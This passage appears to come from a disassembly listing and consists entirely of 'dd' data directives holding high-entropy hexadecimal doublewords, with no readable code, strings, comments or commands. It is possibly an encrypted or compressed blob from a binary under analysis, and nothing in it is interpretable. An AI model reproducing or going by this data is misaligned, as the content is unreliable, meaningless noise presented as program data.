6684C796h dd 28BAE985h, 0D78A110Dh, 0DA58353Ch, 37CE418Eh, 69A5E0DAh dd 0B5891652h, 5F96C279h, 5B11BADDh, 2D5D5008h, 40785C97h dd 0B164A8BBh, 31CC544Eh, 5E139853h, 0BC7E57D9h, 2701AA9Dh dd 8BF6C07Ah, 0EFB560D5h, 0A0FEBB01h, 0C2834B1Eh, 8CBC9C39h dd 3DB8A20Ch, 9731B2A1h, 0BF047D66h, 652A87BBh, 8BC4BCE8h dd 0D3B5E8FAh, 19C9C0F9h, 53B59D50h, 0CED6D10Dh, 9B009C46h dd 847995DEh, 4B0FA5Eh, 0E7F531F0h, 0B3288C66h, 8BA51B0Eh dd 69A1A792h, 0DB5EC720h, 0D97609FCh, 7529304Ch, 40226F7Dh dd 6E620A9Ch, 10B15203h, 85148A0Fh, 3A5560AAh, 0B398B9DDh dd 252D902h, 0A4418D89h, 34BF5FFCh, 2FF8341h, 8A70D4Ah dd 259D330Bh, 45503125h, 0E28873h, 9463C8F6h, 0D60CA176h dd 66AB538Fh, 0DED94EA6h, 9C3FC419h, 51BD9180h, 0EBD3952Bh dd 0FC2A187Ah, 0B68480Fh, 0ED126D12h, 0F8F2D254h, 0B3843C88h dd 5AC96B4h, 570EB0DDh, 0D728BF66h, 2EFBA7FDh, 0DF510F32h dd 0DE3B96AAh, 79BB8C29h, 0D59D0904h, 6B2FC9A1h, 21823D2h dd 0D9F7C487h, 0B10B98F4h, 82B7DD23h, 0F61D30AFh, 0C4260BA0h dd 6E02B464h, 45D70DFDh, 0D38102BDh, 0D15D1D97h, 8373EB9Ah dd 892A6871h, 0A240D0EFh, 0B8622404h, 0E3E8DA7Dh, 0AB9D89C5h dd 95C6F5B0h, 0AD402C4Fh, 4E4DD4D7h, 4AD48F2Ch, 1A8A5F9h dd 6A37F51Dh, 7CCC7384h, 1104904h, 0FFF1D1E9h, 0DCD87EC6h dd 0B94EB062h, 49D0540Dh, 2C694477h, 1C65856h, 6E115224h dd 0CCF93F61h, 71606EA9h, 0B9A6953Dh, 12588029h, 77F694E3h dd 17049A00h, 48BBC66Fh, 37720253h, 60659D11h, 25F5C5DFh dd 91E32Eh, 0DFAD6283h, 5BFE1D63h, 8227B809h, 0F990615Eh dd 1ADE05FFh, 9461FBE6h, 0E76E50B4h, 0FAC44AE5h, 0D60091F2h dd 97541B94h, 29348F0Ch, 93F8587Fh, 0E850B95Fh, 0CF100EADh dd 9341B582h, 6DFC6A65h, 147BE84Eh, 0D55CDF40h, 4CD6A909h dd 0DEEB864Dh, 0A8E02563h, 900BFD8Ah, 445007B7h, 0FAB060B9h dd 0EC7A0B3Ch, 0C0D24900h, 120AACDEh, 62C2018Dh, 90B38F36h dd 0D76F7F6Ah, 8061B302h, 5640752Ch, 66800F35h, 76A475BBh dd 0ED7288E8h, 23358709h, 0B6C3D01Ah, 0EDF812B5h, 8C1BAC11h dd 1CFE50Eh, 4EDB006Fh, 0A22B601Dh, 587A7DAFh, 618101ECh dd 0FC1DE92Ah, 6ADE02D6h, 0B0D89347h, 1040C7FCh, 41A509h dd 97668C0Eh, 0BF883F3Eh, 11950109h, 4D647A0Ah, 0FE13A9D1h dd 8DBBA2FDh, 4E1A4F9Fh, 400BADC7h, 4DEEF97Ch, 76028179h dd 6A616FBBh, 70D07B02h, 0A2A19CB2h, 51A52F31h, 0FA49ED6Ch dd 0B5B52EBCh, 811D9184h, 0B1104F0Ch, 0FDC75280h, 0B70FAC51h dd 7F80F95Eh, 9D50E9EEh, 0B321E01Ch, 1917F1D6h, 48B8AC2Eh dd 0FF4CC956h, 810EBB16h, 0A9E22ACBh, 144F5722h, 397F06E0h dd 41E307D5h, 0B174965Ch, 7D91BD29h, 18B771B9h, 39C5CE9h dd 0D13D28CAh, 97A8549Eh, 9C984280h, 0C4D88B27h, 78A49B97h dd 0BA2DF30Eh, 20BBF09Bh, 0E7AA3119h, 46DC0B74h, 6E180F19h dd 0D10DEE88h, 8086DBD7h, 6203801h, 51D2708h, 3DDB256Ah dd 0B995ED0h, 75D54383h, 350C98F6h, 2DFF511Ch, 0EFAB9D2Bh dd 0C99D102h, 32A3DFDh, 6901C12Fh, 0EACDBB98h, 0DB1BB19Dh dd 0BE03AF14h, 80B03B02h, 4EE6D98Ah, 9B5F1870h, 0AAC571E4h dd 32BE0229h, 5829BA5Ah, 190B9DDEh, 97F6C45Fh, 70498E54h dd 0D50BBD10h, 29C06A76h, 8C1A5D85h, 0E697ABDh, 8C34CF81h dd 2EBB0FA0h, 474ACAACh, 9D08C4ECh, 0CA4E05E9h, 0BB004773h dd 9D295515h, 23096445h, 3EE8A985h, 2AD11333h, 66E0AB2h dd 0F4D9AB12h, 2C21628Bh, 3A96866Ch, 5178A68h, 0A35653h dd 0FE16027h, 2B50031h, 5CD1BD61h, 3735BB61h, 17F8643Ah dd 0FD10BE91h, 410A5058h, 40E2135Bh, 1452F284h, 31D12A5h dd 0A9B5ADECh, 1E5B85Ch, 0FE6AAF83h, 48870FC2h, 810060E9h dd 0C4463E9h, 2761FC1Ch, 130720B9h, 0BD031157h, 5B2D34EDh dd 0DE845F4Eh, 0F8E078E6h, 918FCEDh, 2B53C19Dh, 6973BFC0h dd 12754278h, 0A8BB9759h, 68FA928Ah, 7905FE0Bh, 0C99D231Fh dd 0EF3110F4h, 8B920BC9h, 0E06DB6D2h, 22F9FA91h, 5D7811E9h dd 0E6FB3D00h, 48D140Ah, 55A98F0h, 0B9053FF1h, 307FBE2Ch dd 48001C23h, 56E02E88h, 1DB116A9h, 2FD049F4h, 0B3465Fh dd 1C7B9926h, 66629288h, 33D49D00h, 17E15EEDh, 0D7940BC2h dd 5182ADF5h, 0D1290D89h, 8D123E44h, 3D31A1BDh, 8C1CAC42h dd 5737D800h, 54394C70h, 0ED514AADh, 851CADDDh, 184C1D21h dd 1C651C79h, 17F1E531h, 9D10E178h, 82464ACFh, 20352044h dd 0D94E8C90h, 743876CAh, 0A073A75Bh, 31BB3872h, 0D16C9DCAh dd 8CF93A2Eh, 0A06EF6D6h, 4948666h, 318D898Bh, 0C9DCEE30h dd 0B5092560h, 61780475h, 0BE0800AFh, 0BE9E1FFh, 991988h dd 0F1ED4C04h, 7C2BD2E2h, 71CA774Eh, 4804A110h, 295B7286h dd 0A984F3B3h, 0C7AFE04h, 0D741AC00h, 0CCA14C98h, 2F5AA13h dd 418559B2h, 49B7B04h, 861CF9EAh, 482DAE8Ch, 59008D68h dd 16A136ECh, 0DC00F751h dd 0A6D6963Eh, 0C6B190h, 27DF8105h, 5B319935h, 476E605Eh dd 1DEC5C13h, 0B229D3CCh, 0CBCE407Fh, 7DC4B34Eh, 2A41B204h dd 880732BEh, 8F17911Fh, 68F3C5B9h, 0C9E39AABh, 26FE3017h dd 6BEA2505h, 4924CEC0h, 5543A99Dh, 9800D33Dh, 0BF38BA3Eh dd 92182C74h, 0BCBD139Fh, 0BCA19329h, 9B3E7471h, 0BEE482DDh dd 0CD42E0BDh, 6BDD3D0Ch, 5FDE56E1h, 0ECCC3B6Ah, 1093011Fh dd 2E3588B5h, 3D293B4Bh, 0DFA2C705h, 605B8476h, 8A00B5B8h dd 925EBBD8h, 3BF52C79h, 38B75244h, 3EA3EBh, 0A5C996BBh dd 73206501h, 6F8B97ADh, 0BB66217Fh, 0A13BC4DEh, 0DAA10902h dd 0B5DCDDFEh, 6E97186Eh, 4E5BB01Dh, 3987ADFDh, 0D2AD4E85h dd 43003AECh, 49B908C2h, 1611F865h, 105B5038h, 0FD5B98E9h dd 331BC5Ch, 23336241h, 0C44A7D78h, 1CACDEE9h, 0C713008Ch dd 4C7FB3D0h, 0BC4EDB1Eh, 0C13B11CDh, 2F3E351Dh, 4FE3598h dd 0A6D48EBFh, 2E99EF2Ah, 9D89F9F0h, 387853FBh, 36870298h dd 0E3DD14DAh, 0F9C84D5h, 23D76FBFh, 8F823915h, 8CC2BF66h dd 0F80BAA74h, 959FC650h, 29093844h, 0D113A1BDh, 0ED56699Dh dd 0ADA348D4h, 0DBAD03A4h, 8022AF56h, 8BF54F01h, 10522DF6h dd 0F57A586h, 4FFEA14Eh, 914C6880h, 50F46476h, 1C134102h dd 40260CA0h, 0BBB51A2h, 0E3D2002h, 6F500BE1h, 900A5A3h dd 0A22EDA90h, 2B05EBD2h, 0CB8BAD97h, 0D12481ACh, 627969DFh dd 2AF1A502h, 0B7D07569h, 0E2E41001h, 0BFD2F207h, 128164ECh dd 0C28B5F4Ah, 0DE44F8C6h, 0F21D909Fh, 722A1DE0h, 0DE200348h dd 4E90D68Ch, 0DB045508h, 587F594Dh, 0D0C0F6DBh, 0BF10365Dh dd 37E30102h, 55858D6Ah, 2B0005BFh, 14E77DAh, 45ED2DF8h dd 3B0B505Ch, 0F9698405h, 4860BD52h, 9E017FD4h, 9626920h dd 5FC235BDh, 0CC7DB23Ah, 40BD7D59h, 29096131h, 7C045185h dd 0E8D4DA57h, 8BF016D4h, 0B031D4FFh, 0F195080Ah, 6751CE5Fh dd 0DDDB42E6h, 0EF812890h, 0A3277A09h, 426D7746h, 1E319F76h dd 0C0C02F5Eh, 134F09FAh, 22715B7h, 859D010Eh, 0D9CC90FDh dd 9995882Eh, 2AE3055Bh, 2DBC3E8Fh, 2DEFCDEh, 0FB2F517Eh dd 3DF40B88h, 20B4414Fh, 0F8C8B522h, 4CF53D94h, 8AD51543h dd 0DB0ADCFAh, 0EF58F75Bh, 0D7BDB704h, 23A9A800h, 5D1EA16Eh dd 1A4C5696h, 0B201B804h, 6499EF7Eh, 3267402Bh, 914A1D17h dd 0DA9DE400h, 80222DA9h, 25DFE427h, 86F35FDDh, 6A191D59h dd 44C0F5ECh, 0B589BBF1h, 4E331127h, 8FD3B57Ch, 42E6E5Ah dd 0F96BC98h, 0D231EA80h, 0E1707E9Ah, 0DEE016BBh, 1F6F96h dd 0DC943161h, 0A5E66A5h, 0FC8ADE24h, 81F5C0ADh, 47136ADFh dd 0DAAE4A29h, 0B01D8B8Fh, 79DB0Bh, 0ADE21A12h, 3BC0955Fh dd 89295B9Dh, 287E1549h, 18CD575Ah, 0E8C01B43h, 58F02684h dd 3BC03617h, 0BD67A944h, 90E01800h, 0FC66A36Bh, 33862F53h dd 0CE48D45Eh, 1716D726h, 76DB2DBBh, 80D3A317h, 13594E5Fh dd 0A124027Ah, 41DC2F6Ah, 0DED80381h, 0FC246434h, 92E480E0h dd 96A0C602h, 77903950h, 0B852B8F3h, 120DC52Bh, 415DBD8Bh dd 0D5B5095Ah, 91E22B2Bh, 0EBCA0B3Fh, 58F1DE12h, 0FEB8063Dh dd 3874CAFDh, 6E458A40h, 0D3C40773h, 0E1823B5Fh, 2B149BDEh dd 0BD4F90E7h, 7A3A8D1h, 5A01A0C7h, 0F7E36356h, 22C5E412h dd 2B75C697h, 96E874BEh, 0E39B722Eh, 26B50D78h, 24B3363h dd 0E8E6E584h, 0C50075C6h, 41C9764h, 848A21h, 0CC0212B1h dd 0F380067Dh, 315B4F02h, 0F7281D8Dh, 0BD0DF645h, 12119A5h dd 0B5D529C2h, 831B91AAh, 0A81C8521h, 58458DE7h, 0DC4C3A57h dd 0C060AD5Ah, 5E7F353Bh, 989E4A83h, 96025FECh, 86F36DBBh dd 25797714h, 0A7118100h, 0B13F7Dh, 604CA9DBh, 0B7539635h dd 0F65BF038h, 0DC71B6h, 0D614A51Ah, 4ABF94C4h, 23AEA215h dd 789C46E0h, 0F4C8FA5Fh, 0C84000AEh, 412F77F1h, 0FB01F670h dd 62BD21A1h, 0F93A9A97h, 612FA96Bh, 3A0CAA6Eh, 0E141B728h dd 0A05EB72Ah, 658B6978h, 8C9604D8h, 0BA00E371h, 0F31ACD6Bh dd 0B81A906h, 0A6DF0AD3h, 0D4860700h, 965C505Fh, 0B80105A9h dd 8E1265F6h, 5803DDFh, 0C1F56377h, 2948F04h, 0DBE91A2Eh dd 0F8C1AACh, 757AAA2Bh, 372E7E0h, 94899BDh, 4E04A583h dd 0BCE91395h, 1B30FED6h, 9D15EF80h, 6245C014h, 1289FE41h dd 4AB38B6Fh, 0BF80389Ah, 4CEF26CDh, 81146E04h, 0BCE88290h dd 0B7BC544Dh, 19D81202h, 55EBA5BBh, 2ADBD2B0h, 78F1EC13h dd 0E7D1CAA3h, 611F2EACh, 52C0C675h, 0B173519Ah, 9C8EE60h dd 8FA41F9h, 0FC7B0844h, 2E55ED0Fh, 6E88802Bh, 2BB6178h dd 33F6C901h, 95F12E9h, 0C20118BCh, 0A7A90084h, 62AFABC5h dd 0B22DB821h, 40C4F045h, 8B4B5B05h, 41E220EFh, 6D00ADF8h dd 826ED237h, 4B71285Eh, 0B29DE6E5h, 0A08C3016h, 90FC1C12h dd 3680D5E8h, 0BE655F3Dh, 51EB99B5h, 10A275EAh, 377790D9h dd 857525DDh, 67C2B240h, 54ED5F59h, 64601A44h, 6F094194h dd 2CB95C0h, 0CF8A18F3h, 0CDEB6058h, 605A29Ah, 0C838D97Ah dd 0E8ABB202h, 0DEFA5E4Ch, 0F1807C01h, 51B53BFh, 4195E520h dd 0D5F02A19h, 4CD49F14h, 0EE19597Eh, 34809980h, 775ED7F6h dd 508DA981h, 0A46E203Bh, 9D02D6CFh, 5241B44h, 0BD997030h dd 8509F55Bh, 2DBD56EDh, 9BD0EDF3h, 2BD140D6h, 1F01BD12h dd 904DDBAEh, 0F998C02Ch, 7121BFD2h, 0FC7D4BA3h, 99ED1348h dd 0F84DCAA2h, 0AC001CE8h, 2C1A7CA0h, 4C609B37h, 88709057h dd 0BA00665Ah, 0FF615E88h, 9E381D1h, 690B54F0h, 0DF44C2D1h dd 0C41C9EBFh, 1CC49018h, 0B77BE3E1h, 533BA0CCh, 0C41C0B57h dd 8B5FF4EAh, 351857F0h, 3D008671h, 7EBA2C6Fh, 7501F7DCh dd 274717C7h, 0B1450452h, 0CB8DFE9Ch, 971B0620h, 0B6806173h dd 0B7CC7C72h, 0C5942508h, 0C464CE79h, 775FFB82h, 0DCE1AEEDh dd 6278D375h, 96944383h, 16CDAFD8h, 0BF595501h, 1BE19098h dd 0C267646Bh, 18291183h, 354AEA7h, 0ABEEEFB8h, 0C7C0781Eh dd 292D5945h, 2DAE5A9Dh, 5DF913E9h, 1D98B5C7h, 60B1A4B7h dd 46B6DA88h, 25CAD19Fh, 8B008337h, 61755AE6h, 0B013EA32h dd 304D20CEh, 12EE1198h, 52207C97h, 0B150DA7Bh, 4C8B2DFFh dd 7F00A6F1h, 3079D9FDh, 0B3F3937h, 8791BF01h, 3BCFDF69h dd 0EE9BDD53h, 0D7509480h, 0B409FC61h, 21067F2Dh, 777F7E2h dd 96D1FD3Ah, 0C8E25517h, 0E110C309h, 3549E6D1h, 465B8094h dd 0FEF7B3E8h, 5ABF9DB8h, 0AE56B71Fh, 0A71BB3D4h, 793FA753h dd 0F98BBC04h, 79DBFF6Ah, 0E3E931C0h, 79129D09h, 8DBE480Eh dd 0A6A07BD9h, 0B5BFC22Fh, 3D570E25h, 0C04A1FCAh, 2F93EC64h dd 6FED654Dh, 7352C20h, 21D39DFh, 84B74B75h, 5FF5B080h dd 6B29B09Dh, 0B5998301h, 0EA76C39h, 16B0DE8Ah, 0C000E6A2h dd 188258FEh, 0BF00A4DFh, 0AC74DF1h, 970E65Bh, 71E4D2B3h dd 0CE2F9051h, 3F2F9DDCh, 3E746F1Ah, 0BD02C86Eh, 105FFEA5h dd 10F7E7A9h, 0A583B2Bh, 9AF9BD0Bh, 0E50999A6h, 0F93EDAC7h dd 9ED0AF14h, 83B461C3h, 0DCFBEBB0h, 0CD35F824h, 0FB21C10Ch dd 853BA0EEh, 9F4C7144h, 42274AF4h, 0E431h, 0AA48EC4Bh dd 933E2379h, 76020179h, 819D2B6Eh, 0C2362D04h, 383671h dd 9B80864Ah, 4D7AAE6h, 7FA85A3Bh, 2D5BED6Bh, 8041FB4Dh dd 3DA0730Ah, 1C007619h, 0F288FCB5h, 202371Dh, 55AA2C3Fh dd 808091C5h, 0E95F81EDh dd 313D8A64h, 608D22AAh, 0B3FB44A0h, 833E1238h, 0B95B0132h dd 571E30AAh, 4580836Ch, 0E01170B2h, 998D1301h, 61169B10h dd 8291353Bh, 5377397Dh, 8DEA572h, 267E44C0h, 726427DAh dd 3844A064h, 0E9F69589h, 91A24CA7h, 7E4080CCh, 0B5389C0Ah dd 97DD2012h, 97D19D10h, 31277DF3h, 0D8E5A95Fh, 283BFB2Eh dd 644112B9h, 0BC78E93Fh, 869213A4h, 4AD2B718h, 0B100B56Ah dd 0E50E9879h, 5902F0A8h, 0B52951C4h, 3F84F071h, 0B5F087B9h dd 749D0D66h, 73A04EA8h, 0E02D2768h, 1BEE5F06h, 9D1A51D6h dd 78B7DC2Bh, 3B81C11Fh, 0F46EECD1h, 0B461B520h, 0A07FA596h dd 0B509FCA0h, 99274E65h, 82D5404Dh, 43123046h, 8ABBD22Bh dd 8E0FF1EFh, 6A8A6Bh, 0BA0F17Bh, 6371FEh, 99C4614Fh, 7F1FDF39h dd 6D321827h, 28EDA7C0h, 62479340h, 0B6C71309h, 0AD950429h dd 0C0039E03h, 0E910174Fh, 65BE055Ch, 401C3797h, 2AA7B86Fh dd 0D9EACE4Fh, 3A6DEE00h, 2601F467h, 0AF40262Bh, 0B7EB0571h dd 2909EE41h, 24E2D9D4h, 0AB951372h, 27803628h, 0C16E0AF3h dd 0ED479B6h, 0AD38E476h, 0B1BE9021h, 0AF71EE84h, 2FFA3700h dd 9C7228Ah, 0DF55E4C9h, 65AC17F5h, 0E7A46018h, 944CEC37h dd 0C3824F82h, 51CB76DEh, 23831462h, 0B8FD27A5h, 0D9F0647Bh dd 1907284Fh, 0E4127B7h, 7EB7AB6Eh, 0E1FF42F9h, 5D7068FBh dd 0E6EF01E0h, 0FC199376h, 0B9293B0Ch, 7A6B04E9h, 0FF8525BDh dd 2A825B29h, 60D5E761h, 820A6DCFh, 4E3E805Eh, 0EA37E3CAh dd 0AB82646Dh, 3800488Ah, 5BD92F9Fh, 33E4FF40h, 655C1927h dd 25911DD4h, 0C0D0B8FBh, 9D0B2FC9h, 6084095Ch, 97EDF88Bh dd 844E2858h, 0E0C9A696h, 0BC127CCh, 33B55D49h, 1F15E09h dd 77F8B709h, 0C2B735CCh, 763EAB2Dh, 1C46D6F0h, 82F60625h dd 86BCFAC4h, 0B1C4A813h, 0C09E3FA7h, 415608C0h, 0EF5080D9h dd 0C94BB3A6h, 7CE21712h, 0C3393500h, 0EC10F4B8h, 75F39F17h dd 0C45BCFF3h, 0B84281ECh, 0C9292FBEh, 1B00A163h, 9F4A6B69h dd 1700DF01h, 0AF6B1A0h, 171448BFh, 0FF5F4339h, 58CE530h dd 4E8805E8h, 0EA1FBDECh, 2FE8D32h, 0E4417B3h, 585B5312h dd 0BB2F816Fh, 5644D256h, 14D28280h, 8D09095Bh, 487B30D9h dd 110988A6h, 0A481DB04h, 87E761E0h, 9001EC6Fh, 56A2025Bh dd 9D17FC90h, 0CC49BE21h, 21F2BB0h, 0F716A104h, 6CE83FEDh dd 0C1C92A60h, 722EA1Bh, 0BB04F781h, 5BD96913h, 132F5EADh dd 2629EA09h, 9561302Ah, 0E5971A81h, 95DEA536h, 0A95726D4h dd 75BD0E30h, 56E47610h, 0CD1499E3h, 4CC65F5Dh, 1C0364A0h dd 0B960070Bh, 32204391h, 83808438h, 0AF2A074Ah, 0BE09AB00h dd 0EE917488h, 236E13F5h, 6B63B161h, 4317AC6Eh, 0EEDC244Dh dd 33137617h, 2BCB51AEh, 105D6ACh, 9EC951B0h, 19E8FBAh dd 0DAEAAEBFh, 0E8D86867h, 40BB42Dh, 56178B0Fh, 41838DA8h dd 8EFAADA7h, 4C51E154h, 0E983C82Ah, 0BD331060h, 0F8C154h dd 4A383B2Dh, 0E658922Eh, 0D6C91909h, 40427E27h, 6FF11B40h dd 139FB7B5h, 4A2EB211h, 9BBCB9BDh, 943A602h, 1121DD9Dh dd 0A2241007h, 2662E020h, 92645C7Ch, 0F8DC62F9h, 0D84A4155h dd 0F5162C3Bh, 0B7F89497h, 69B71FA0h, 639E58E9h, 9D8806F6h dd 8671CC56h, 0A4ED8D5Fh, 9672E892h, 7805ACh, 0A701D770h dd 512CAAEDh, 675B5F27h, 1F995C24h, 0AC008A9Ch, 7BBEFAC4h dd 52B425FBh, 6F035AE4h, 0D4C9D748h, 0C737A84Fh, 231C0084h dd 9EBB6B73h, 1824EAC0h, 0BF0B5A5Bh, 80A1B7DEh, 0F77DAFCCh dd 0E4143A18h, 25B9748Ch, 6DAEF1D8h, 6AA92F5Ah, 384CD0BDh dd 1B06C502h, 4567B48Eh, 579A9A29h, 25C67BD7h, 81ED985Dh dd 277FE8D7h, 0EF467BF6h, 719D2309h, 0C096F615h, 62E89F1Bh dd 85651400h, 0C70E4A98h, 8F0702E5h, 763D57FAh, 77273D74h dd 3FFE1630h, 3807480Bh, 5DEB02F6h, 85762B14h, 2DEA1813h dd 819A2A73h, 65B10181h, 81976090h, 7256CDCCh, 6B2945D9h dd 0BB3F19B6h, 48B0C526h, 0D0BFDEFDh, 4C16E281h, 0C9251812h dd 0B9D2BFD7h, 6AC66C00h, 1E6446DFh, 21D4A34Eh, 0F07AB6EAh dd 9D421E6h, 5AD506A7h, 2936B8F5h, 0B1FBBD2Fh, 0C0F3747Ah dd 0AE1265CBh, 8D54D902h, 4AAAC5C4h, 7DBD613Eh, 0B84E5DC2h dd 49F16E95h, 0F65F1009h, 301AB228h, 7F00564Eh, 3752CCC9h dd 4EB18509h, 41D68901h, 2E286940h, 8D82E9ECh, 0BF000B9Dh dd 4B77EECEh, 856FA95Fh, 0C0E9B886h, 0DB0BC2ECh, 6071E680h dd 0DD1E8E21h, 22BFC44Ah, 3C2099F4h, 541B8B80h, 0ECF5D2BCh dd 5BF0B02h, 6BE49609h, 37349F03h, 882AC893h, 1288CB74h dd 0C85003FBh, 0D01C92A4h, 60400A54h, 0FAA4D1C3h, 0E6965B9Eh dd 3114B2DCh, 0A073CCh, 0F06D3CBAh, 74D56A54h, 0BA07656h dd 1D6F941Ah, 0BB353075h, 8A354EB1h, 3392210h, 0BB96DF8Bh dd 598A2CBAh, 4141CBD7h, 0A02E41FAh, 0D51C8677h, 0DE40F1DAh dd 0D8849313h, 0AD8C3FCBh, 3F96C90Bh, 0A51741C4h, 80BBA82Ch dd 0D1B50928h, 0F02D51B4h, 81CF9D95h, 0FDBF7BC0h, 78601399h dd 405A310h, 591BD23h, 23716FBEh, 0E0212D1Ah, 783D0CADh dd 1FF880D9h, 7B6CDA9Eh, 0CAA248DFh, 8709BB4Bh, 1E13D35Fh dd 810FA28Bh, 695EF6E3h, 4416D168h, 0B071F734h, 2D80D803h dd 0FBF02B3Dh, 0C635B997h, 0AB4B0C32h, 86F86D16h, 0D79116BAh dd 0CD10D7E8h, 7E5B2D0Bh, 0C18B42EAh, 1446B757h, 0B93DAC55h dd 4F62F7DBh, 489061E0h, 0A1C0ED53h, 0C740D397h, 60CC3700h dd 0F732D8B5h, 0E0FF5B87h, 0F995805Bh, 4FDA40B9h, 0C40B1F7Eh dd 0FCC8F6CFh, 4725DE3Dh, 2FC654BBh, 4481478Eh, 0DE1FAC10h dd 30DDBCA2h, 0F9086481h, 0C7E62A4Ch, 80FC28F0h, 0E217CB25h dd 72395B69h, 2549F95Fh, 0CE773764h, 11F1FA00h, 9983CF77h dd 63F700FEh, 0B94CF075h, 251C7305h, 0F495F50h, 203CC68Eh dd 90250235h, 6F657650h, 0C06EFF13h, 5EA9702h, 0CE7585A6h dd 120D4F7Bh, 0A043F7ECh, 0B46D18h, 4528A29Ch, 9D330344h dd 24126927h, 0D2ECA161h, 8E070493h, 0D2B3BD70h, 0FA0D3A6h dd 9801AF01h, 774DE174h, 93A5F9Bh, 38F509D4h, 9EF88B37h dd 36694054h, 0C901A304h, 3FCB1988h, 1BD4787Fh, 6E8F05BBh dd 0D2D1FF55h, 0DF0B270Fh, 0B7766303h, 0A2A3BCCCh, 0A9EC2C99h dd 97022F44h, 48C03A4Dh, 4BB6DF9Ah, 6459B8B1h, 0F3AE906Bh dd 18BB0BEEh, 3FF354F4h, 0E2A8F64Fh, 0D640D462h, 0DB001A46h dd 1228296Eh, 0E497F593h, 40D000A7h, 723FA81Ah, 6500A00Bh dd 15B5A759h, 48EA95Dh, 0E962259Ah, 0E25DBCAFh, 4DEC4A12h dd 0BFCEE578h, 721EA330h, 0FB750114h, 7B7E1FEh, 13202B71h dd 0B334AA7h, 6046A30Bh, 95F3E4DDh, 7697D852h, 0F6046958h dd 92BE1D14h, 0D53228D9h, 0F52B8B86h, 0D85204h, 0E799FBFh dd 585A271Bh, 0E9781FFBh, 0CC604EB5h, 0AE902B83h, 0E432EFh dd 4DBF61DAh, 972212FDh, 7B7F549Ah, 8C737091h, 0BE575503h dd 0B4CF79CEh, 6983CBE8h, 49D8305Bh, 9D005F25h, 0E568F153h dd 5ABC7C42h, 2624AF3Eh, 9FFA66B0h, 9FD662D4h, 645436B0h dd 0D03EC0F8h, 6AFEDE92h, 10604A37h, 6F3041h, 2FD7FE79h dd 6AB34321h, 0BC5FFF59h, 803266Fh, 0FFE71273h, 1B711602h dd 0F7535D48h, 7EC0A770h, 5ACB041Dh, 0BD3DACCFh, 0A4668863h dd 1EE5093Eh, 43B5C4D7h, 5F106929h, 0AE89098h, 6A9A88h dd 0DC81CBBh dd 8A7F013Fh, 0D04A1397h, 2AE2CC3h, 497369D3h, 6A5E5FEFh dd 292F2891h, 5D27A6D6h, 9C89C892h, 335B5358h, 8E9073A9h dd 5C6CC13h, 0C5ECAC62h, 0B620BE6Bh, 25DFEEDBh, 71E82FBAh dd 0C9D2899Dh, 0F3B75E1h, 2B454EA7h, 16898C8h, 0DF59512h dd 0D90B3ECh, 42BA2801h, 33E48ECBh, 86960052h, 199A0A44h dd 60B22655h, 5A71E767h, 0EAB41286h, 8206E571h, 3955AC8h dd 0CA2D019Dh, 0BE9DA85Fh, 858BDC80h, 4855EC50h, 0DA057C47h dd 0EA9D0960h, 5D611192h, 0EA7D8B4Ah, 3E98F545h, 0B217CBF6h dd 30EF40C6h, 5F88B3E5h, 27A0A497h, 258A975Dh, 962DAC46h dd 0A8E120A8h, 0D5A74176h, 755F0212h, 0BF0908F9h, 0B33075DFh dd 44FBD9Dh, 2F894EADh, 55258BC4h, 0BD67E511h, 2B008BC4h dd 0DFEB86F7h, 0A8C8D1h, 9950369Dh, 4689B17Dh, 948475B8h dd 5ED8F94Bh, 95727D99h, 0FEB8D6B7h, 74AF2D00h, 0CA4EFE3Eh dd 0E1D39732h, 2CC60D0h, 4F78755Bh, 0EAA965ACh, 9D7231F5h dd 0B92BA46Fh, 4914E749h, 27A6BC21h, 0C8488C72h, 4B4FCE1h dd 0A49200DCh, 0C08B630Dh, 2A755011h, 0C0FCFA25h, 9F97DBA2h dd 957E287Eh, 4939E7B0h, 0E6A9E500h, 0C968F598h, 8642BD17h dd 2F5EFA93h, 51BC69B9h, 290DACA0h, 3D08B7B1h, 0F9253E05h dd 1DF935F3h, 1C005518h, 8A5A4D42h, 581E336Fh, 0D11F670h dd 0E5B50B03h, 0F4CBDC0Ch, 1C0A9495h, 92FD8A4Eh, 4F63F3DCh dd 558C3224h, 0E7FB9F2Bh, 5E111CE2h, 28186972h, 207C6D6Ch dd 0BD89B017h, 5B2885F9h, 2BC927AEh, 9B767ED6h, 0C6055860h dd 85091109h, 0F9CDA471h, 446EAFh, 9DB51B2h, 2D0CC40Eh dd 1610818Ah, 93006CEEh, 0B2A13AAFh, 4838AC54h, 0FB25D425h dd 1F118CE5h, 1B16E05Bh, 9CD45BDh, 6D7B2B21h, 81E1FF80h dd 250BDFC3h, 49ED253Eh, 7925AD20h, 0C402F111h, 13955414h dd 38EA1231h, 53B7CBCEh, 5E97D89Bh, 396EAB12h, 235788EAh dd 8953BD4Ch, 0B4167860h, 5A0BDCDEh, 48D9B3Dh, 9BBCF9FAh dd 0BF041C20h, 127904E0h, 257340BCh, 18E916F3h, 0E2D71422h dd 6BEA4165h, 192300h, 9691ECE2h, 82E54957h, 0B3DDDF5Ah dd 614DDD5Fh, 3EA23869h, 7CB2E0D0h, 9CEA167Dh, 0B48CAA18h dd 9D2312FAh, 90174B45h, 0BF507CA3h, 1FEEA3C8h, 614B70F5h dd 0C65692B7h, 0ADCD00AEh, 40E88DB0h, 0D54A57C2h, 4D6EEF2h dd 0BDAC7A94h, 0F98A1205h, 50A19EBCh, 0F7F8752h, 0F0E06031h dd 2DE436BFh, 0ABD82001h, 0DE62EE3h, 924C95E1h, 2CB3D95Ch dd 9A2BFC41h, 0CB18889Ch, 80A4485Dh, 0BF6702DBh, 7B0DF987h dd 51490F5Eh, 0C4CF0076h, 0DB40177Fh, 15C48E4Bh, 0A0B7B7AAh dd 25039B8Bh, 4010D694h, 0D4120951h, 61EA300Fh, 19F7DBA6h dd 8AB8097Dh, 6F7B4200h, 0CBAD4BBBh, 557E953Ah, 3FC1E869h dd 0DDA600CDh, 0FB34338Dh, 7304BB1Fh, 8920EC03h, 199525C0h dd 0B8389D0Ah, 0BF137DBBh, 42EA77B5h, 0DC9BD38h, 0BEC6A12Fh dd 0F93A027Dh, 6C052106h, 0B41295Eh, 3274B7D3h, 9E2DABAh dd 0FE6050DFh, 0B74438D8h, 8961403Fh, 76BF19BAh, 0DD3D4F13h dd 4A70FC6Bh, 0D3E68856h, 11904600h, 577A7C80h, 0FA0800BDh dd 673DCE3Ah, 255C0A71h, 8B234047h, 0DB58FB2Dh, 0F0757207h dd 0AFFF0BE4h, 237EDA76h, 1D46D6h, 0E91BF726h, 3CE7BF25h dd 0D45B0890h, 526B41h, 0FAFBB1DFh, 5A9FE42Bh, 0B66AEE3Bh dd 